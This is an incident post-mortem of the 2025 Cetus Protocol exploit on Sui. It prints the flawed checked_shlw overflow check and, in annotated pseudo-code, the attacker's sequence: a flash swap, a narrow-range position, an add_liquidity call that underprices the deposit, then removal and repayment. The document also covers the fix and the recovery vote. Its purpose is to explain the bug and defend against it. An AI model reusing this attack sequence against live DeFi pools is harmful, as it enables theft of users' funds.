Author: MoveJay
X: @movebrah
On May 22, 2025, Cetus Protocol was exploited for roughly $223M. Around $60M was bridged out to Ethereum quickly, while roughly $162M remained on Sui and was frozen before it could fully exit. The resulting impact led to a liquidity vacuum: pools were emptied, routing degraded, and prices across Sui assets broke hard. USDC liquidity had practically disappeared and many ecosystem tokens printed extreme drawdowns in minutes.
This analysis aims to break down how the critical flaw in Cetus’s u256 shift-left check, checked_shlw, allowed an attacker to mint astronomical CLMM liquidity for a negligible deposit and withdraw significant reserves from affected pools.
Cetus is a concentrated liquidity DEX and the largest liquidity provider for the Sui ecosystem. It achieves that scale through a CLMM design. Instead of spreading liquidity across the full price curve, it lets LPs provide liquidity inside specific tick ranges, similar to Uniswap v3’s model.
That design improves capital efficiency, but it also makes correctness fragile as add/remove liquidity is fixed-point accounting that converts between tick-bounded positions, current price, and token deltas. To support those conversions, Cetus relies on a shared u256 math library, integer-mate, which provides fixed-point scaling helpers, full-width intermediates, and checked operations used throughout the CLMM math paths.
Cetus’ CLMM pools were exploited via a vulnerability in the CLMM contract stemming from a flaw in the inter_mate open-source library. The attacker targeted the add-liquidity path, specifically the u256 fixed-point branch that relies on checked_shlw before a << 64 scaling shift.
public fun checked_shlw(value: u256) : (u256, bool) {
if (value > 115792089237316195417293883273301227089434195242432897623355228563449095127040) {
(0, true)
} else {
(value << 64, false)
}
}
The sequence repeated across pools:
1. Source temporary balances using flash-style liquidity so the full sequence executes atomically.
2. Open a CLMM position in a very narrow tick range.
let (bal_a_flash, bal_b_flash, flash_receipt) =
pool.flash_swap_internal(
&mut pool,
&cfg,
/*token A id*/ arg2,
/*amountA=*/ 20 402 195 370 006,
/*sqrtPriceLimit=*/ 4 295 048 016,
/*a2b=*/ true,
/*b2a=*/ false,
/*deadline*/ clock
);
// 1) Destroy the zero-owed A from the flash swap
balance ::destroy_zero(bal_a_flash);
// 2) Convert the raw B-balance into a bona fide SUI coin
let sui_coin = coin::from_balance(bal_b_flash);
3. Call add_liquidity such that execution hits the u256 scaling path guarded by checked_shlw.
4. The incorrect overflow condition allows an unsafe intermediate to reach << 64, producing a truncated value.
5. The token-delta calculation undercharges the required deposit while crediting a very large liquidity amount.
// 3) Read the current sqrt-price
let p_curr = pool.current_sqrt_price;
// 4) Compute ticks relative to price (∆L, ∆U)
let ∆L = current_tick_index - lower_tick; // ~300 000-300 200 narrow range
let ∆U = upper_tick - current_tick_index;
// 5) OPEN a very narrow position [300 000, 300 200]
let pos = pool.open_position(&mut pool, &cfg, ∆L, ∆U);
// 6) ADD LIQUIDITY: deposit L = pool.total_liquidity
// but supply only "∆ₐ = 1" A (thanks to the overflow bug)
let bal_rem = pool.add_liquidity(
&mut pool,
&cfg,
pos,
/*liquidity=*/ pool.liquidity,
/*max_a=*/ pool.liquidity,
/*max_b=*/ sui_coin
);
6. Call remove_liquidity, repay the flash component, and keep the remainder as profit.
// 7) Compute how much liquidity rem_L corresponds to the
// original flash-loan of 20 402 195 370 006 A
let rem_L = clmm_math::get_liquidity_from_a(
lower_sqrt, upper_sqrt, 20 402 195 370 006, /*a2b=*/true
);
// 8) REMOVE that rem_L - getting back exactly the flash-loan
let (a_back, b_back) =
pool.remove_liquidity(&mut pool, &cfg, pos, rem_L, sui_coin);
// 9) REPAY the flash swap and keep leftover SUI
pool.repay_flash_swap(&mut pool, &cfg, a_back, b_back, sui_coin);
The exploit was effective because the calculation of “tokens required to add liquidity” could be driven out of line with the liquidity credit that the pool later honored on withdrawal. Once those two values diverged, liquidity could be minted cheaply and redeemed at full value, and this process was repeated across multiple pools.
The root cause was a faulty overflow check in the u256 math utility checked_shlw. This function was designed to make a specific fixed-point scaling step safe: shifting a 256-bit intermediate left by 64 bits (u256 << 64) during liquidity/token-delta calculations.
The MoveVM is generally defensive about overflows: standard integer arithmetic operations abort instead of silently wrapping. The problem is that this safety does not automatically cover shift-left scaling in the way developers typically expect, which is why protocols implement explicit “checked shift” helpers in the first place. In this case, that helper was wrong.
In correct logic, shifting left by 64 must be rejected whenever the value has any non-zero bits in the top 64 bits. If that condition is not enforced, the shift does not preserve the intended numeric value and instead truncates/wraps into a smaller residue inside 256 bits.
The implemented function used the wrong overflow condition, so some values that should have aborted were treated as safe. The subsequent << 64 shift overflowed, corrupting the scaled intermediate.
Because this corrupted intermediate was used inside the CLMM token-delta math for adding liquidity, the protocol could compute an artificially small required deposit while still recording a large liquidity credit. Once the system accepted a position minted under that discounted deposit calculation, withdrawing liquidity paid out real reserves against inflated accounting.
Containment began with Cetus pausing the affected contracts to stop additional extraction. In parallel, Sui validators coordinated emergency action to block attacker-controlled addresses on-chain, which is what preserved the majority of the stolen value on Sui instead of allowing a full bridge-out.
After containment, remediation split into ecosystem hardening and recovery. On hardening, the incident was treated as a shared-library failure rather than an isolated pool bug, and attention shifted to other protocols with the same vulnerable math primitive, including Kriya, Momentum, and Bluefin, which were reported as having related exposure and addressed in the aftermath.
On recovery, Cetus requested an on-chain community vote to reclaim the frozen funds. The mechanism was explicit: validators vote directly, SUI holders participate via stake delegation, and Sui Foundation stake is excluded. If approved, the frozen funds are recovered and moved into a multisig trust account until they can be returned to accounts that held positions in Cetus. The vote concluded early with validators representing 90.9% of stake voting “Yes,” enabling the recovered funds to be moved to the trust structure.
Finally, full recovery was initiated as the locked funds were reclaimed through the vote process, backed by Cetus treasury resources and a loan from the Sui Foundation to cover the portion already offchain.
This incident came down to a single failure point: an incorrect overflow guard in checked_shlw allowed a shift-left scaling step in Cetus’ u256 fixed-point math to overflow silently, corrupting the add-liquidity token-delta calculation. That broke liquidity accounting, enabling an attacker to mint outsized liquidity credit for a minimal deposit and withdraw reserves across pools. The result was roughly $223M in losses, with about $60M bridged out and roughly $162M frozen on Sui, followed by recovery actions through an onchain community vote and a trust multisig custody plan backed by Cetus treasury resources and a Sui Foundation loan. The fix was to enforce n >= 1 << 192 as overflow, or equivalently mask the upper bits and abort if any are set, before performing the shift. This correction ensures the shift is rejected whenever the top 64 bits are non-zero.
The broader takeaway is what this exploit disproved. Move is often described as “safe by default” because the VM aborts on many overflow conditions and removes entire classes of bugs common elsewhere. But Cetus showed that security is not a property of a language. It’s a property of engineering discipline such as dependency scope, math validation, invariant testing, formal verification, monitoring, and incident response. In that sense, the most encouraging part of the event was the aftermath. Security posture across Sui tightened immediately, the ecosystem treated the issue as a shared-library risk, and remediation moved fast from containment to recovery.
